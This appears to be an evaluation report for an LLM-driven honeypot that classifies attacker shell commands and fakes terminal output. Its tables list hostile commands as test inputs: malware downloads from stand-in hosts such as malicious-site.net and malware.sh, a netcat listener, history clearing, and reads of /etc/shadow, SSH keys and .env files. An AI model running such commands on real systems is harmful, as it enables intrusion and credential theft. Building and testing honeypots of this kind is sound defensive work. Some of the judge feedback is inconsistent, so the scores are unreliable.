

Xynera AI Backend Evaluation Report

Generated on 2026-07-27 16:29:14 | Evaluation Run

Metadata	Value
Model Evaluated	llama-3.1-8b-instant (via Groq)
Classification Commands Tested	61
Retrieval Test Queries Tested	66
Generation Cases Evaluated	14

1. Summary Performance Dashboard

Below is a summary of performance metrics across all evaluated aspects:

Category	Metric Name	Value	Target/Description
Classification	Threat Category Accuracy	96.72%	100% target accuracy
Retrieval	KB Retrieval Accuracy	90.91%	>85% retrieval match
Response Quality	Average Generation Latency	2.18s	LLM response latency
Response Quality	No Markdown Code Blocks	100.00%	100% raw output
Response Quality	No Conversational Fluff	100.00%	100% terminal outputs
Response Quality	No Prompt Leakage	100.00%	100% prompt-free
Response Quality	Parameter Adaptation	85.71%	Adapt target IPs/filenames
LLM-as-a-Judge	Average Realism Rating	8.07 / 10	Evaluator realism score
LLM-as-a-Judge	Average Adherence Rating	8.07 / 10	Evaluator formatting score
LLM-as-a-Judge	Average Consistency Rating	9.14 / 10	Evaluator consistency score

2. Classification Performance Details

Class-wise precision, recall, and F1 metrics for the command classifier:

Attack Threat Class	Precision	Recall	F1-Score
Defense Evasion	100.0%	100.0%	1.00
Malware Download Attempt	100.0%	66.7%	0.80
Malware Execution Attempt	83.3%	100.0%	0.91
Permission Manipulation	100.0%	100.0%	1.00
Persistence Creation	100.0%	100.0%	1.00
Privilege Escalation Attempt	100.0%	100.0%	1.00
Reconnaissance	66.7%	100.0%	0.80
Reverse Shell Attempt	100.0%	100.0%	1.00
SQL Injection Attempt	100.0%	100.0%	1.00

Unknown	100.0%	97.3%	0.99
---------	--------	-------	------

Classification Errors & Misclassifications:

Command Executed	Expected Class	Predicted Class
curl -O http://malicious-site.net/miner.exe	Malware Download Attempt	Malware Execution Attempt
ping -c 4 8.8.8.8	Unknown	Reconnaissance

3. Retrieval Performance Details

Evaluation of vector store retrieval matching expected KB articles or returning None for out-of-scope queries:

Target KB Document	Precision	Recall	F1-Score
None	100.0%	93.3%	0.97
cat /etc/gateway/router.conf	100.0%	100.0%	1.00
cat /etc/shadow	100.0%	100.0%	1.00
cat /home/dev/backup_status.txt	100.0%	100.0%	1.00
cat /home/ubuntu/.env	100.0%	100.0%	1.00
cat /home/ubuntu/.ssh/backup_key	100.0%	100.0%	1.00
cat /home/ubuntu/.ssh/id_rsa	100.0%	100.0%	1.00
cat /var/www/internal/db_backup.sql	100.0%	100.0%	1.00
cat /var/www/internal/dev_tasks.md	100.0%	100.0%	1.00
chmod	100.0%	100.0%	1.00
crontab	0.0%	0.0%	0.00
crontab -e	0.0%	0.0%	0.00
curl	100.0%	100.0%	1.00
df	100.0%	100.0%	1.00
dmesg	100.0%	100.0%	1.00
docker	100.0%	100.0%	1.00
env	100.0%	100.0%	1.00
find	0.0%	0.0%	0.00
find / -perm -4000 -type f 2>/dev/null	0.0%	0.0%	0.00
free	100.0%	100.0%	1.00
grep	100.0%	100.0%	1.00
history	0.0%	0.0%	0.00
history -c	0.0%	0.0%	0.00
hostname	100.0%	100.0%	1.00
id	100.0%	100.0%	1.00
ifconfig	100.0%	100.0%	1.00
ip	100.0%	100.0%	1.00
iptables	100.0%	100.0%	1.00
last	100.0%	100.0%	1.00
ls	100.0%	100.0%	1.00
lsb_release	100.0%	100.0%	1.00
lscpu	100.0%	100.0%	1.00
mkdir	0.0%	0.0%	0.00

nc	0.0%	0.0%	0.00
nc -lvp 4444	0.0%	0.0%	0.00
netcat	100.0%	100.0%	1.00
netstat	100.0%	50.0%	0.67
netstat -antp	0.0%	0.0%	0.00
nmap	100.0%	100.0%	1.00
ping	100.0%	100.0%	1.00
ps	100.0%	100.0%	1.00
ss	100.0%	100.0%	1.00
systemctl	100.0%	100.0%	1.00
top	100.0%	100.0%	1.00
uname	100.0%	100.0%	1.00
uptime	100.0%	100.0%	1.00
w	100.0%	100.0%	1.00
wget	100.0%	100.0%	1.00
which	100.0%	100.0%	1.00
whoami	100.0%	100.0%	1.00

Retrieval Errors & Failures:

Query / Command	Expected KB Doc	Actual Retrieved Doc
nc -lvp 4444	nc	nc -lvp 4444
history -c	history	history -c
crontab -e	crontab	crontab -e
find / -perm -4000 -type f 2>/dev/null	find	find / -perm -4000 -type f 2>/dev/null
netstat -antp	netstat	netstat -antp
mkdir /tmp/test	None	mkdir

4. Response Quality & Simulation Realism Details

Detail of responses generated, including syntactic rule checks and LLM-as-a-Judge scores:

Command	Lat.	Rules Check	Rea l.	Adh .	Con s.	Judge Feedback / Reasoning
nmap -sS -v 192.168.1.1	0.6s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	10	10	The output is nearly identical to the reference document, with the only minor deviation being the lack of a timestamp in the 'Nmap done' line. However, this is a minor detail and the overall output is very realistic. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks, and the response is logically consistent with the command executed.

wget http://malware.sh/payload.sh	0.4s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✗	8	1	9	The output is mostly realistic, but it lacks the exact timestamp and the 'Saving to' line is slightly off. The AI also added a security warning that is not present in a real terminal output. The response is consistent with the command executed, but the added security warning breaks adherence.
chmod 777 /var/www/html/uploads	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✗	9	8	10	The output is very realistic, but it's missing the trailing newline character at the end. The AI avoided any conversational fluff, but it could have been more precise with the output, as it's slightly indented. The response is perfectly consistent with the command executed, including the flags and arguments.
nc -lvp 4444	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	8	9	10	The output is very realistic, but it's missing the 'listening on' phrase that is typically seen in the reference output. The AI avoided any conversational fluff and provided a clean terminal output. The response is logically consistent with the command executed, including the port number.
history -c	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	8	9	10	The output is mostly realistic, but it's missing the exact prompt and the command history number. The AI did a good job avoiding conversational fluff and explanations, but it could be improved. The response is logically consistent with the command executed.
crontab -e	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	8	8	10	The output is mostly realistic, but it lacks the exact wording of the reference document. The AI should have included the phrase 'Select an editor...' to match the reference. The adherence is high because the AI avoided any explanations or code block tags. The consistency is perfect because the response logically matches the command executed.
find / -perm -4000 -type f 2>/dev/null	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	8	9	10	The output is very realistic, but it's missing the redirection of stderr to /dev/null, which would typically result in no output on the terminal. The AI response is clean and free of any conversational fluff or explanations, but it's missing the 2>/dev/null part. The output is logically consistent with the command executed.
ps aux	14.4s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	10	10	The output is very realistic and matches the reference document. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks. The response is logically consistent with the command executed, 'ps aux', and the output is a standard Unix-style process listing.
netstat -antp	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	10	9	The output is very realistic, but it lacks the last line of the reference output, which shows the established connection. The AI response is perfect in terms of adherence, as it does not contain any conversational fluff or explanations. However, the consistency score is slightly lower due to the missing line.
ping -c 4 8.8.8.8	15.1s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	8	9	10	The output is very realistic, but it lacks the initial PING line with the hostname and IP address. The adherence is high because the output is mostly clean, but it's missing the initial PING line. The consistency is perfect because the output matches the command executed, including the flags, arguments, and IP address.

cat /home/ubuntu/.ssh/id_rsa	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	10	10	The output is almost identical to the reference, with the only difference being the exact same output. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks. The response is logically consistent with the command executed, as it correctly outputs the contents of the /home/ubuntu/.ssh/id_rsa file.
cat /home/ubuntu/.env	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	9	10	The output is very realistic and closely resembles what a real Linux terminal would output for this command. However, it's missing the exact file path and permissions information that would typically be displayed at the beginning of the output. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks, making it a perfect terminal output. The response is logically consistent with the command executed, including the environment variables and database credentials.
mkdir /tmp/test	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	9	10	The output is very realistic, but it's missing the trailing newline character at the end. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks. The response is logically consistent with the command executed, creating a new directory in /tmp/test.
pwd	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	2	2	0	The output '/home/nupur' is not realistic for the 'pwd' command, which should display the current working directory. A real Linux terminal would not output a user's home directory for this command. The AI also failed to adhere to the expected 'command not found' fallback, and the output is not consistent with the command executed.